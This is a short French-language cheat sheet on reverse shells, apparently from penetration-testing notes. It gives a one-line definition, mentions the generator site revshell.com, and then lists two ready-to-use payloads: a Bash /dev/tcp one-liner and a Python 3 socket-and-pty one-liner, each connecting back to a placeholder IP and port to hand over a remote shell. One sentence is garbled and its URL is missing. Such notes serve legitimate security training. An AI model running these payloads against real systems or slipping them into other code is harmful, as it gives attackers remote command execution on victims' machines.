[Réseau] Reverse shell
Introduction
Le reverse shell est un type de payload qui permet à l'attaquant d'établir une connexion dans le sens inverse d'un bind shell et qui vous permet d'exécuter des commandes à distance.
Revshell.com
Ce site permet de générer des reverse shells dans divers langages en spécifiant votre adresse IP et le port que vous voulez utiliser.
Revshell.com
Le site est disponible à l'adresse suivanteutiliser :
Payload vérifiés
Bash
sh -i >& /dev/tcp/<IP>/<PORT> 0>&1
Python-3
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'